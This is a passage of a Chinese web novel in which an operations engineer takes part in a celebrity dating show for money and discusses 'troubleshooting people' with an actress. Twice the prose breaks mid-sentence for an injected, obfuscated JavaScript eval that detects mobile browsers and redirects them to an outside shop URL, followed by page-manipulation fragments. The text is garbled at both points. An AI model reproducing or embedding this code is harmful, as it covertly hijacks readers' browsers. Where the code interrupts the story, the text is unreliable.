楚曦笑了,那笑容很直接,没什么掩饰:“你这个人挺有意思的。刚才自我介绍,就说那么两句。” “该说的都说了。” “也是。”楚曦站起身,走到窗边,和他并肩看着外面,“我来之前也想过怎么自我介绍。经纪人给我准备了三个版本:活泼版、专业版、真诚版。最后我选了最短的那个。” “为什么?” “因为懒得记。”楚曦说,她又喝了一口水,“而且我觉得,来这种节目,装也没用。一个月呢,迟早会露出真面目。” 陈末侧头看她。楚曦的侧脸线条分明,鼻梁很高,睫毛很长。她说话时眼神很专注,看着窗外的花园,但陈末能感觉到,她的注意力其实在自己身上。 “你觉得节目组为什么请我来?”楚曦忽然问。 陈末谨慎地回答:“你是奥运冠军。” “退役的。”楚曦纠正,“而且游泳运动员,说白了就是个体力劳动者。不比你们搞技术的。” “体育也是技术。” 楚曦转头看他,眼神里闪过一丝惊讶,然后笑了:“你这话我爱听。对了,你刚才说你是运维工程师,具体做什么的?” 又是这个问题。但楚曦问的方式不一样,不是客气,是真的好奇。 “确保公司的在线服务正常运行。”陈末解释,“比如你用的购物APP、视频网站,背后都有服务器。我负责让那些服务器不死机。” “那如果死机了呢?” “就修。” “怎么修?” “看日志,找原因,重启,或者换机器。”陈末说得很简略,但楚曦听得很认真。 “听起来像医生。”她说,“病人(服务器)病了,你诊断、开药、做手术。” 这个比喻让陈末愣了一下。他从来没这么想过。 “差不多。”他说。 楚曦点点头,没再问。她看着窗外,花园里的灯光一盏盏亮起来了,在渐暗的天色里像散落的星星。 “我该回去了。”她说,走到门口又回头,“晚上见。对了——” 她停顿了一下,像是在斟酌措辞。 “别太紧张。”她说,“这节目再怎么样也就是个节目。我们都是来工作的,对吧?” 陈末点头。 楚曦离开后,房间里重新安静下来。但那种安静和之前不一样了,好像有什么东西被打破了。 陈末重新坐回沙发,打开节目组发的工作机。内部通讯软件上有几条未读消息,都是群发通知。他点开日程表,看着明天的时间安排。 09:00-11:00 首次任务分组活动 分组。和谁一组?会是什么任务? 他想起楚曦的话:“我们都是来工作的。” 是的,都是工作。他拿钱扮演“普通素人”,其他人拿钱扮演“寻找真爱的明星”。本质上没有区别。 但真的是这样吗? 陈末想起林薇说“很久没有‘生活’了”时的表情,想起秦澜简洁到极致的“来学习”,想起苏小雨眼里真诚的好奇,想起楚曦直率的“懒得记”。 他们可能真的是来工作的。但工作之余,或许也期待着别的什么。 而他呢? 手机震动,又一条通知: 【温馨提示:晚餐期间将进行非正式拍摄,请各位嘉宾保持自然状态。导演组不会干预各位的交流内容,请放心交谈。】 自然状态。 陈末关掉手机,站起身。窗外天色已经暗下来了,海的方向变成深蓝色,天空还残留着一抹橙红。花园里的灯光更亮了,能看见有工作人员在调试设备。 他走到镜子前,看着里面的自己。格子衬衫,牛仔裤,头发有点乱。和这个环境格格不入,就像一台Windows 98的电脑被扔进了苹果专卖店。 但他需要留在这里。三十天。三万块。母亲的手术费。 陈末深吸一口气,整理了一下衣领。镜子里的人看起来还是很普通,但眼神里多了点什么——是决心,还是别的什么,他自己也说不清。 晚餐时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990765|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间快到了。 他最后检查了一遍房间,确保私人手机已经关机锁好,工作机带在身上。开门前,他停顿了一下,脑子里快速过了一遍张伟的叮嘱: 别太积极。 别抢风头。 当好背景板。 还有他自己加的一条:记住,你是来赚钱的。 然后他推开门,走进走廊。 走廊里已经能听见其他房间开门的声音,脚步声,隐约的说话声。空气里有淡淡的香水味,不知道是谁的。 陈末朝餐厅方向走去。路过一扇开着的门时,他瞥见里面——是王烁的房间,他正在镜子前调整领口,动作流畅得像拍广告。 再往前,是苏小雨的房间门,关着,但能听见里面传来轻轻的哼歌声,是某首流行歌的调子。 走廊尽头,秦澜从房间出来,她已经换了一套衣服,依然是西装,但颜色从深灰换成了浅灰。她看见陈末,点了点头。 “晚上好。”她说。 “晚上好。”陈末说。 两人并肩走向餐厅。秦澜的脚步声很轻,高跟鞋踩在地毯上几乎无声。陈末的帆布鞋则发出轻微的摩擦声。 “期待晚餐吗?”秦澜问,语气像在会议室里问“期待这次合作吗”。 “期待。”陈末说。这是实话,他中午只吃了一片面包,现在饿了。 秦澜看了他一眼,那眼神很短暂,但陈末捕捉到了——里面有一丝评估,一丝好奇,还有一丝……笑意? 餐厅的门开着,里面已经布置好了。长条餐桌,白色桌布,精致的餐具。暖黄色的灯光,桌上摆着鲜花和蜡烛。 林薇已经到了,坐在餐桌一端。她换了件米白色的针织衫,长发散下来,在灯光下泛着柔光。看见他们进来,她抬起眼,目光在陈末身上停留了一瞬。 然后是苏小雨,蹦蹦跳跳地进来,嘴里还在哼歌。楚曦跟在后面,头发扎起来了,露出光洁的额头。 最后是王烁,他准时出现,笑容完美,仿佛刚才在房间里调整领口的不是他。 六个人到齐了。 工作人员在角落比了个手势——录制开始了。 陈末在离自己最近的座位坐下。左边是楚曦,右边是秦澜。对面是苏小雨和王烁,林薇在长桌另一端。 晚餐是西餐,前菜已经摆好。每个人面前都有一杯水,和一杯红酒。 “大家随意。”王烁说,他举起水杯,“第一天,以水代酒,庆祝我们相聚。” 其他人都举杯。陈末也举起来。 杯子碰撞发出清脆的声响。在灯光下,水晶杯折射出细碎的光。 陈末喝了一口水,开始思考:这顿晚餐,应该算在工作时间内。 那么从18:30到19:30,又是一个小时。83.33元。 他切了一小块前菜——好像是某种鱼生,口感冰凉清爽——放进嘴里。 然后他听见林薇的声音,很轻,但很清晰: “陈末。” 陈末抬头。长桌另一端,林薇正看着他。灯光在她眼里映出两点暖光。 “嗯?”他说。 “你白天说,最近在看《Linux服务器运维实战》。”林薇说,她的手指轻轻点着水杯边缘,“那本书,好看吗?” 问题很突然。所有人都看向陈末。 陈末放下叉子。他感觉到六道目光落在自己身上,还有角落里至少两个摄像机的镜头。 他想说“就是工作用书”,想说“没什么好看的”,想说点安全的话。 但不知为什么,他开口说的是: “第7章讲故障排查,写得不错。第12章的案例过时了。” 话音落下,餐桌安静了一瞬。 然后楚曦笑出声:“你还真看了啊!” 秦澜的嘴角也扬了起来。 苏小雨眼睛亮晶晶的:“好专业的感觉!” 王烁保持着微笑,但陈末注意到,他握着水杯的手指稍微收紧了一点。 而林薇,她看着陈末,眼里那两点暖光闪烁了一下。 “是吗。”她说,语气很平淡。但她拿起叉子,又放下,这个动作重复了两次,像是在思考什么。 然后她问出了第二个问题: “那你觉得,人如果出故障了,该怎么排查?” 问题落下的瞬间,陈末看见导演组的刘导从餐厅门口探了下头,又迅速缩回去。 那动作太快了,但陈末捕捉到了。 还有刘导脸上的表情——不是意外,而是期待。 仿佛这个问题,这个场景,早就在他的预料之中。 5. 选房标准:信号与安静 餐桌上的空气凝滞了两秒。 陈末叉子上那片三文鱼悬在半空,酱汁差点滴到白桌布上。他看向长桌那头的林薇,影后的表情平静得像在问“今天天气如何”,但眼睛里那点微光出卖了她——那是认真提问时才有的专注。 “人如果出故障了?”陈末重复了一遍问题,大脑迅速切换模式。运维工程师的思维是线性的:发现问题,定位原因,制定方案,执行修复,验证结果。 “首先得定义什么是故障。”他说,放下叉子,“系统预期行为与实际行为不一致,就是故障。对人来说……” 他顿了顿,意识到这个类比有点危险。 “继续说。”秦澜开口,她身体微微前倾,手肘支在桌上,十指交叠——那是倾听的姿态。 陈末看了眼周围。苏小雨咬着叉子尖,眼睛睁得圆圆的;楚曦干脆把胳膊架在椅背上,一副看好戏的表情;王烁的笑容还在,但嘴角的弧度比刚才僵硬了0.5度。 “对人来说,”陈末继续,“如果一个人原本能正常工作、社交、生活,突然不能了,或者效率严重下降,那就是‘故障’。” “怎么排查?”林薇追问。她喝了一口水,玻璃杯边缘留下浅浅的唇印。 “第一步,收集日志。”陈末进入工作状态,语速快了些,“就是问问题:什么时候开始的?发生前做了什么?有什么异常感觉?伴随症状?” “像医生问诊。”楚曦插话。 “嗯,类似。第二步,复现问题——如果可能的话。第三步,隔离变量。是睡眠不足?压力太大?人际关系问题?还是生理疾病?” 陈末说到这儿停住了。他发现所有人都在看着他,包括角落里的摄像师——那哥们把镜头推了个特写,陈末能看到自己映在镜头玻璃上的脸。 “然后呢?”苏小雨小声问。 “然后……”陈末想了想,“如果是软件问题,就修复代码。如果是硬件问题,可能需要休息、治疗,或者……”他停了一下,“或者接受某些不可逆的损坏,调整预期,寻找替代方案。” 餐桌又安静了。 这次打破沉默的是王烁的笑声,很轻,但足够让气氛松动:“陈末这个思维方式很有意思,很理性。” “过于理性了。”秦澜说,但她眼里有笑意,“不过我喜欢这种结构化的分析方式。” 服务员恰好在这时进来上主菜,是牛排,煎得恰到好处,摆盘精致得像艺术品。话题自然转到了食物上,陈末松了口气。 他切了一小块牛排,七分熟,口感不错。心里却在复盘刚才的对话——他说太多了。张伟的叮嘱是“别太出风头”,而他和影后讨论“人类故障排查”,这已经超出“普通素人”的范畴了。 日薪一千。背景板。记住你的角色。 陈末默念三遍,决定接下来保持沉默。 但楚曦不打算放过他。 “陈末,”她隔着桌子问,“按你这个理论,你觉得我们现在这个‘恋综系统’,可能出什么故障?” 陈末差点被牛排呛到。 “楚曦,”王烁温和地提醒,“这个问题有点尖锐哦。” “我就问问嘛。”楚曦耸肩,“反正都是闲聊。” 所有人的目光又回到陈末身上。连一直专注切牛排的林薇都抬起了头。 陈末放下刀叉,脑子飞速运转。这是个陷阱题——说真话可能得罪节目组,说假话又显得虚伪。他需要给出一个既真实又安全的答案。 “从系统设计角度,”他选了个最技术化的表述,“任何多人协作系统都可能出现通信延迟、协议不一致、资源竞争和状态同步问题。” 他用了四个专业术语,成功让苏小雨露出了“虽然听不懂但感觉很厉害”的表情。 “说人话。”楚曦笑着催促。 “就是……”陈末斟酌用词,“大家刚认识,沟通可能不畅,想法可能不同,互动可能有摩擦,而且我们六个人的状态可能不在同一个节奏上。” “精辟。”秦澜说,她切牛排的动作停顿了一下,“所以你建议怎么优化这个系统?” 陈末看着秦澜。这位女导演的眼神很认真,不像在开玩笑。 “最简单的优化方案,”他说,“降低预期,增加容错,给系统足够的自调节时间。” 王烁笑了:“意思是让我们别着急,顺其自然?” “差不多。” 林薇忽然开口:“如果系统永远无法达到预期性能呢?” 问题一个比一个深。陈末开始怀疑这顿晚餐是不是节目组设计的哲学讨论环节。 “那就修改预期。”他说,“或者重构系统。” “怎么重构?” “改变交互模式,调整人员配置,或者……”陈末顿了顿,“直接下线,换一个更适合的系统。” 这句话说完,他自己都愣住了。太直接了。太“运维工程师”了。 但林薇点了点头,像是得到了想要的答案。她继续吃牛排,没再说话。 晚餐的后半段,话题转向了更轻松的内容:明天的天气,海岛的风光,大家之前的旅行经历。陈末大部分时间在听,偶尔被问到才简单回应。 他数着时间:18:30到19:30,正好一小时。83.33元入账。 甜点上桌时,刘导进来了。他拍了拍手,吸引大家的注意力。 “各位老师,晚餐后我们有一个简短的环节——房间分配。”刘导说,“别墅二楼有三间双人套房,三楼有两间单人套房。考虑到节目性质,我们决定让男嘉宾和女嘉宾分开楼层居住。二楼是三间女嘉宾的房间,三楼是两间男嘉宾的房间。” 他拿出一个平板:“具体分配方式很简单。二楼三间房各有特色:一间是海景套房,带阳台;一间是花园景观房,更安静;还有一间在中间,视野均衡。” “男嘉宾的两间房在三楼,一间朝南,海景;一间朝北,花园景。现在请男嘉宾先选择,然后女嘉宾选择。” 王烁立刻开口:“陈末你先选吧,我都可以。” 很绅士。很符合他的人设。 陈末没推辞。他脑子里迅速过了一遍需求:他要在这里住三十天,需要稳定的网络(可能还要远程处理工作紧急问题),需要安静的环境(确保睡眠质量),需要…… “能问几个问题吗?”陈末说。 刘导点头:“当然。” “哪间房的WiFi信号最好?” 问题一出,王烁的笑容凝固了半秒。苏小雨“噗”地笑出声,赶紧捂住嘴。楚曦直接笑出声:“不愧是搞IT的!” 刘导也愣了一下,然后转向旁边的工作人员。工作人员小声说了几句,刘导转回来:“三楼的房间信号都很好,我们有专业级信号增强。具体来说……朝南那间稍微强一点,因为离主路由器更近。” “哪间最安静?”陈末继续问。 “朝北那间。”刘导说,“不临海,海浪声小,而且窗户对着内院花园,相对隔音。” 陈末点头:“那我选朝北那间。” 餐厅里安静了一瞬。 “你确定?”王烁忍不住问,“海景房视野更好,早上能看到日出。” “我需要安静。”陈末说。这是实话——他睡眠浅,一点声音就容易醒。而且如果半夜需要处理工作,安静的环境更有利于集中注意力。 至于海景……他看了一眼窗外。夜色中的海面漆黑一片,只有远处灯塔的微光。很美,但不能当饭吃,也不能换钱。 “好。”刘导在平板上操作,“那王烁老师就是朝南海景房。接下来请女嘉宾选择——” “我能也问问题吗?”苏小雨举手,眼睛亮晶晶的,“哪间房离陈末老师最近?” 问题太直接,直接到连楚曦都挑了挑眉。林薇切甜品的动作停了,秦澜端起水杯,用喝水掩饰表情。 刘导咳嗽一声:“这个……从垂直距离来说,三楼朝北房的正下方,是二楼的中间那间。” “那我要那间!”苏小雨立刻说。 “小雨,”王烁温和地提醒,“你不看看海景房吗?” “海景我房间也有啊,”苏小雨说,她指了指二楼中间那间,“而且我就喜欢住中间,有安全感。” 楚曦笑了:“那我选海景房,我喜欢早上被阳光和海浪声叫醒。” 秦澜的选择很简洁:“花园景观,安静。” 最后剩下林薇。她没问问题,直接说:“我都可以。剩下的给我就好。” 剩下的是……二楼的花园景观房,在秦澜隔壁。 分配完毕。刘导让工作人员带大家去看房间。 陈末拎着自己那个轮子不太灵光的行李箱上三楼。楼梯是旋转设计,铺着厚地毯,走起来很安静。王烁跟在他后面,行李箱是银色的,四个轮子都灵活,没发出一点声音。 三楼走廊很宽,两边墙上挂着抽象画。朝南的房间在走廊尽头,门是深色的;朝北的房间在中间,门是浅色的。 “到了。”工作人员打开朝北的房门。 陈末走进去。房间比他想象的大——客厅、卧室、独立卫生间,还有个小小的书房区域。窗户确实对着内院花园,能看见楼下花园里的灯光和树影。很安静,连楼下说话声都听不见。 他做的第一件事是打开手机,测试WiFi速度。下载速度每秒312Mbps,上传287Mbps。比他在公司用的网络还快。 不错。陈末满意地点头。 “陈末。”门口传来王烁的声音。 陈末回头。王烁站在门口,没进来,只是靠在门框上。走廊的光从他背后照过来,在他脸上投下阴影。 “有事?”陈末问。 “就是想问问,”王烁说,语气很随意,“你是真的因为WiFi和安静选这间房的吗?” “不然呢?” 王烁笑了,那笑容在阴影里显得有些模糊:“没什么,就是好奇。毕竟这是恋综,大多数人会考虑……别的因素。” “比如?” “比如离谁更近,视野更好,或者……”王烁顿了顿,“更容易被镜头拍到。” 陈末听懂了。王烁在提醒他,或者试探他。 “我需要好的网络,可能还要处理工作。”陈末实话实说,“安静也很重要。” 王烁点点头,没再说什么。他转身走向走廊尽头的房间,行李箱轮子在地毯上滑出轻微的沙沙声。 门关上了。 陈末把自己的行李箱放在墙角,打开。里面东西很简单:几件换洗衣服,笔记本电脑,充电器,一本《Linux服务器运维实战》,还有一个小药盒——母亲常用的几种药,他带来备用的。 他把书放在床头柜上,打开笔记本电脑,连上WiFi。邮箱里有两封新邮件,一封是公司发的服务器升级通知,一封是医院的自动提醒:母亲的复查预约在下周三。 三十天。他要在三十天内赚够手术费的前期款。 陈末看了眼时间,晚上八点十分。按照日程,八点半到九点半是“自由交流时间”,可以选择在公共区域活动,也可以待在房间。 他决定待在房间。最安全。 但手机响了,是内部通讯软件的消息。来自“节目组通知”: 【全体嘉宾请注意:原定20:00-21:30的自由交流环节调整为20:30在客厅进行。请各位老师务必参加,有重要安排。】 务必参加。 陈末叹了口气。看来“待在房间”这个选项不存在了。 他关掉电脑,站起身。走到窗前,看着楼下的花园。花园里灯光柔和,能看见秦澜坐在长椅上,手里拿着本书。楚曦在泳池边散步,苏小雨……苏小雨正从别墅里跑出来,手里抱着什么,好像是零食。 一切看起来很美好,很平静。 但陈末脑子里还在回响王烁那句话:“毕竟这是恋综。” 是啊,这是恋综。而他是个为了钱来当背景板的运维工程师。 他需要记住这一点。 八点二十五分,陈末下楼。客厅已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990766|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布置好了,沙发围成半圆,中间茶几上摆着饮料和零食。其他人陆续到来,林薇最后一个,她换了身居家服,灰色的棉质长裤和白色T恤,头发松松地扎在脑后。 刘导站在客厅中央,手里拿着一个信封。 “各位老师,今晚我们有个小环节。”他说,“每个人需要写一张匿名纸条,回答一个问题:你希望在这次旅程中获得什么?” 匿名纸条。陈末心想,这个设计不错,能收集真实想法,又不会让嘉宾太有压力。 工作人员发下纸笔。陈末接过,想了想。 他希望获得什么?钱。三万块。母亲手术费的前期款。 但他不能写这个。 他提笔,写下:“希望能顺利完成这次体验。” 安全,中性,符合“普通素人”的人设。 纸条收上去后,刘导说:“现在我会随机抽读几张——当然,不会透露是谁写的。” 他抽出一张:“‘希望能遇到真诚的人,看到真实的一面。’” 楚曦吹了个口哨:“说得好!” 第二张:“‘学习如何在不熟悉的环境中找到自己的位置。’” 秦澜点头:“这个心态很好。” 第三张:“‘想看看脱下光环后,自己还是不是自己。’” 客厅安静了一下。这句话有点重。 林薇低着头,看着自己的手。 第四张:“‘希望网络信号一直稳定。’” “噗——”苏小雨笑出声,然后赶紧捂住嘴,眼睛弯成月牙看向陈末。 陈末面无表情。那张是他写的吗?不,他写的是“顺利完成体验”。那这张是…… 王烁?不太可能。 楚曦?她看起来不像会在意WiFi的人。 刘导笑了:“这张很务实啊。好了,最后一张——” 他抽出第五张,看了一眼,表情微妙地变化了一下。 “这张写的是:‘希望故障排查理论在实践中能验证。’” 陈末猛地抬头。 他看向林薇。林薇也正好抬头,两人目光在空中相遇。 影后的眼神很平静,但陈末看见,她放在膝盖上的手指,轻轻动了一下。 那是……一个微小的、几乎看不见的点头。 仿佛在说:是我写的。 刘导收起纸条,笑容满面:“好了,今晚就到这里。明天九点,第一次任务分组,请大家准时到客厅集合。” 散场时,陈末走在最后。经过林薇身边时,她轻声说: “书能借我看看吗?” 陈末停住脚步:“哪本?” “《Linux服务器运维实战》。”林薇说,“第七章,故障排查。” 陈末看着她。客厅的灯光在她脸上投下柔和的阴影,她的眼神很认真,不是在开玩笑。 “书在我房间。”他说。 “明天。”林薇说,“早餐后。” 她说完就上楼了,留下陈末站在原地。 楚曦从后面拍他的肩:“行啊你,连影后都对你这本天书感兴趣了。” 陈末没说话。他脑子里在想别的事。 林薇为什么要看那本书?是真的感兴趣?还是…… 他摇摇头,把这个念头甩开。不可能。影后怎么可能真的对服务器运维感兴趣。 他上楼回房间。关门前,他看了眼走廊尽头——王烁的房间门关着,门缝下透出光亮。 陈末关上门,反锁。 他坐在床边,打开手机备忘录,更新今日记录: 【8月3日第一天】 预计收入:1000元 实际工时:12h(09:00-21:00) 已赚:1000元(本日额度达成) 累计收入:1000元 距离目标:29000元 备注:林薇要求借阅技术书籍,动机不明。王烁可能已产生竞争意识。选房理由(WiFi+安静)引发关注,需评估是否过于突出。 写完,他盯着“动机不明”四个字看了几秒。 然后他打开浏览器,搜索“林薇技术背景”。 结果都是演艺相关,没有任何技术背景信息。 他又搜索“明星突然对计算机感兴趣”,跳出来的都是八卦新闻:某歌手沉迷游戏,某演员投资科技公司。 没有参考价值。 陈末关掉手机,躺到床上。床垫很软,被子轻薄但暖和。房间里确实安静,只能听见空调出风的微弱声音。 他闭上眼,脑子里却还在转。 故障排查理论。 人类故障。 林薇的问题。 那张匿名纸条。 这些碎片拼在一起,指向什么? 不知道。 陈末翻了个身,强迫自己睡觉。明天还有工作,还要赚钱。 窗外,海岛夜空晴朗,能看到星星。 别墅一楼的监控室里,刘导正看着屏幕回放。画面停在晚餐时,林薇问“人如果出故障了”那个瞬间。 “这段剪进去,”刘导对剪辑师说,“还有选房那段,WiFi和安静那段,重点剪。” “刘导,”助理小声问,“陈末老师这种……直男表现,观众真的会喜欢吗?” 刘导笑了,他看着屏幕上陈末那张因为思考技术问题而略显严肃的脸。 “你不懂,”他说,“现在观众最讨厌的就是完美人设。有点缺陷,有点怪,但真实——这才是宝藏。” 他点了支烟,深吸一口。 “等着看吧。第一期播出后,这个陈末……会让我们所有人都惊喜。” 烟雾在监控室里缓缓升起,在屏幕的光里变幻形状。 而三楼朝北的房间里,陈末已经睡着了。他做了一个梦,梦里自己在修一台巨大的服务器,而服务器屏幕上显示的,是六张人脸。 其中一张是林薇的。 她在屏幕上说:“第七章,故障排查。你翻到第几页了?” 6. 影后的疑惑与一包纸巾 早晨七点半,陈末在餐厅门口犹豫了整整三十秒。 他手里拿着那本《Linux服务器运维实战》,书脊因为经常翻看已经微微泛白,第7章那几页有他之前用铅笔做的标记——主要是某些命令参数的注意事项。昨晚林薇说要借,他答应了,但此刻他却开始纠结:影后真的会看吗?还是只是一句客套话? “陈末老师早!” 苏小雨的声音从背后传来。她今天穿了件淡粉色的运动装,头发扎成高高的丸子头,看起来精神十足。看见陈末手里的书,她眨眨眼:“哇,你还真带下来了呀?” “嗯。”陈末把书往身后挪了挪,这个动作有点欲盖弥彰。 “林薇姐会看这个?”苏小雨好奇地问,凑近看了看封面,“全是英文和代码……看着就头疼。” “不一定。”陈末说,“可能只是随口一提。” 两人走进餐厅。早餐是自助形式,长桌上摆满了各种食物:中式的粥、包子、油条,西式的面包、沙拉、煎蛋,还有热带水果拼盘。已经有几个人在了。 楚曦坐在靠窗的位置,面前摆着一盘堆得像小山似的食物,她正在剥鸡蛋,动作利落得像在比赛。秦澜在另一边,面前只有一杯黑咖啡和一小份水果沙拉,她戴着眼镜看平板,像是在处理工作。 王烁还没到。 林薇到了,坐在餐厅最角落的位置。她面前是一碗白粥和一碟青菜,吃得很慢。看见陈末进来,她抬眼,目光落在他手里的书上。 陈末走过去。餐厅的地板是抛光大理石,他的帆布鞋走在上面发出轻微的摩擦声,在这个安静的空间里显得格外清晰。 “书。”他把书放在桌上,动作有点像在交作业。 林薇放下勺子,用纸巾擦了擦手,才拿起书。她翻了几页,手指停在第七章的标题上:“故障排查方法论”。 “谢谢。”她说,声音比昨天更哑一些,像是没睡好。 “第12章案例过时了,”陈末忍不住提醒,“现在用Kubees和Docker更多。” 林薇点点头,没说话,继续翻书。她看得很认真,睫毛垂下来,在晨光里投下细小的阴影。 陈末站了几秒,意识到自己还杵在这儿,于是转身去取食物。他拿了一碗粥、两个包子、一碟咸菜,想了想又加了个煎蛋。回到座位时,他选了林薇斜对面的位置——不远不近,既不会太亲近,也不会显得刻意避开。 苏小雨端着盘子坐到他旁边,盘子里是色彩缤纷的水果沙拉和一小块蛋糕。“陈末老师早上就吃这么简单呀?”她问。 “习惯了。”陈末说。他喝了一口粥,温度刚好。 楚曦端着盘子过来,直接在陈末对面坐下。她看了眼林薇手里的书,笑了:“还真借来了。林薇姐,你看得懂吗?” 林薇抬头,表情很平静:“在学。” 两个字,但分量很重。楚曦挑了挑眉,没再问,专心对付自己那盘食物。 餐厅里只剩下餐具碰撞的轻微声响。陈末低头吃粥,脑子里却在算账:早餐时间算工作时间吗?合同上写的是“录制期间均视为工作时间”,那早餐应该算吧?从七点半到八点半,又是一个小时。83.33元。 “陈末。” 林薇忽然叫他。 陈末抬头。林薇已经把书放下了,她面前的白粥还剩半碗,青菜没怎么动。 “第七章第三节,”她说,“讲日志分析。你平时用哪些工具?” 问题很专业。专业到陈末愣了一下。 “Elastic Stack,”他下意识回答,“主要是ELK。有时候用Splunk,但太贵了。” “日志格式呢?” “看系统。Nginx有access log和error log,应用层一般用JSON格式,方便解析。” 林薇点点头,拿起勺子,又放下。这个动作她做了两次,陈末注意到了——那是思考时的习惯性动作。 “如果……”她停顿了一下,“如果日志里出现大量重复的错误信息,但系统表现正常,怎么处理?” 陈末放下筷子。这个问题有点意思。 “首先确认错误级别,”他进入工作状态,“如果是Warning,可能只是噪音,可以调整日志级别。如果是Error但系统正常,可能是错误处理逻辑有问题,或者某个非关键组件故障但被降级处理了。” “需要立即修复吗?” “看影响。如果只是日志污染,可以排期修复。如果可能导致雪崩效应,得尽快。” 林薇看着他,眼神很专注。晨光从她侧面的窗户照进来,在她脸上投下一半明亮一半阴影。有那么一瞬间,陈末觉得她不是在问技术问题,而是在问别的什么。 “雪崩效应。”林薇重复这个词,“怎么预防?” “限流,熔断,降级,超时控制。”陈末说出四个关键词,“还有监控和告警,早发现早处理。” 林薇沉默了几秒。她端起水杯,喝了一口,水杯在手里转了转。 “明白了。”她说,声音很轻。 然后她继续吃粥,没再说话。 陈末却有点不自在。他觉得刚才的对话哪里不对——影后为什么问这些?是真的感兴趣?还是在……测试他? “你们在聊什么呀?”苏小雨好奇地问,“什么雪崩什么熔断,听着好吓人。” “服务器运维的东西。”陈末简单解释。 “林薇姐怎么突然对这个感兴趣了?”楚曦也问,她叉起一块培根,“难道要转行?” 林薇抬眼,嘴角极轻微地扬了一下——那甚至算不上一个笑容,只是肌肉的微小牵动。 “了解一点,”她说,“没坏处。” 这句话说得很淡,但陈末听出了别的意思。了解一点没坏处——对什么没坏处?对生活?对工作?还是对……别的? 王烁这时才走进餐厅。他换了身休闲装,但依然精致,头发打理得一丝不苟。看见林薇手里的书,他脚步顿了一下,但很快恢复自然。 “大家早。”他笑着说,去取食物,回来时选了林薇旁边的位置——那个位置原本空着。 “林薇姐在看什么书?”王烁问,语气亲切。 “技术书。”林薇把封面翻给他看。 王烁看了一眼,笑容不变:“好专业。陈末推荐的?” “借的。” “林薇姐真是好学。”王烁说,他切着盘子里的煎蛋,动作优雅,“我记得你上次采访时说,空闲时间喜欢看书和看电影。” “嗯。” “最近有看什么好电影吗?” 话题被自然地转走了。王烁开始聊起最近上映的几部片子,他的见解很专业,从镜头语言到叙事结构,说得头头是道。苏小雨听得入迷,楚曦偶尔插话,秦澜也摘下眼镜加入了讨论。 陈末安静地吃完了早餐。他看了眼时间,七点五十五分。距离九点的任务分组还有一小时零五分。 他起身,准备把餐具送回回收处。经过林薇身边时,她忽然轻声说: “下午能请教几个问题吗?” 陈末停住脚步。林薇没抬头,还在小口喝粥,但这话明显是对他说的。 “关于书的?”他问。 “嗯。” “可以。”陈末说。他继续往前走,把餐具放下,走出餐厅。 走廊里很安静。他走到楼梯口,听见身后有脚步声——是苏小雨。 “陈末老师!”她小跑着追上来,丸子头随着动作一颤一颤的,“你和林薇姐刚才聊的好深奥啊。” “就是工作相关。”陈末说。 “林薇姐平时话很少的,”苏小雨和他并肩走,声音压低,“今天居然主动问你问题,真少见。” 陈末没说话。他上楼回房间,苏小雨在二楼走廊朝他挥挥手,进了自己房间。 关上门,陈末靠在门后,脑子里复盘早餐的对话。 林薇的问题都很具体,很专业,不像是随便问问。她是真的在“学习”。但为什么?一个影后,为什么突然对服务器故障排查感兴趣? 陈末摇摇头,把这个疑问暂时放下。他打开手机备忘录,更新记录: 【8月4日第二天】 预计收入:1000元 当前状态:早餐时段确认计入工时(0.75h),收入62.5元 备注:林薇的技术问题动机仍不明确,但明显超出“客套”范畴。需观察其后续行为。 写完,他看了眼时间,八点十分。还有五十分钟。 他决定再检查一遍那本书——虽然已经给林薇了,但他脑子里还有印象。第七章第三节,日志分析。林薇问的是“大量重复错误信息但系统表现正常”的情况。 这其实是个经典问题。陈末遇到过好几次,有时候是配置错误,有时候是依赖服务的问题,有时候……只是日志框架的bug。 但林薇问这个问题时的表情,不像是在问技术。 她在想什么? 八点五十,陈末下楼。客厅已经布置好了,沙发前的地板上用彩色胶带贴出了六个位置,每个位置前放着一个小牌子,写着名字。 刘导站在中央,手里拿着一个平板。 “各位老师,欢迎来到《心动的岛屿》第一次任务环节。”他声音洪亮,“今天的任务是‘海岛寻宝’。大家将被分为三组,每组两人,根据线索在海岛指定区域内寻找隐藏的信物。最先找到的三组将获得晚餐特权——可以指定晚餐菜单,并且由节目组提供特别食材。” 分组。陈末心里一紧。和谁一组? “分组方式很简单,”刘导继续说,“我们准备了六张卡片,三张红色,三张蓝色。抽到相同颜色卡片的两位自动成为一组。现在请男嘉宾先抽。” 王烁看了陈末一眼,微笑道:“陈末先请。” 陈末走上前。桌上倒扣着六张卡片,他随手抽了一张——蓝色。 王烁抽了另一张——红色。 “现在请女嘉宾抽。”刘导说。 苏小雨第一个抽,她闭着眼睛摸了一张,翻开时紧张地屏住呼吸——蓝色。 “耶!”她跳起来,看向陈末,“我和陈末老师一组!” 楚曦抽了红色,和王烁一组。 剩下林薇和秦澜,自动成组——两人都抽到了剩下的颜色,但刘导没说是红是蓝。 分组完成。陈末看着手里的蓝色卡片,又看看兴奋的苏小雨。这组合……应该没问题吧?苏小雨看起来活泼,但应该不难相处。 “每组会拿到一个线索信封,”刘导发信封,“任务范围限定在度假庄园及相邻的公共海滩区域,不得离开指定范围。安全第一,比赛第二。现在——开始!” 